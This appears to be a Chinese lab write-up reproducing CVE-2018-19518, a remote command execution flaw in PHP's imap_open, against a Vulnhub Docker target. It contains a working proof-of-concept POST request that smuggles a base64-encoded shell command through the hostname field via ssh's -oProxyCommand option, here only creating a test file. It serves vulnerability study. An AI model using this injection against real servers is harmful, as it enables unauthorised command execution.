PHP系列漏洞–CVE-2018-19518_PHP imap 远程命令执行漏洞

漏洞简述

php imap扩展用于在PHP中执行邮件收发操作。其`imap_open`函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。

因为ssh命令中可以通过设置`-oProxyCommand=`来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

准备环境

启动Vulnhub靶机环境:

验证靶机应用启用成功:

漏洞复现

使用burp抓包:

将数据包的内容换成下文poc内容:

POC:

POST / HTTP/1.1

Host: your-ip

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

执行’docker-compose exec web bash’进入容器,可见’/tmp/test0001’已成功创建:

漏洞利用成功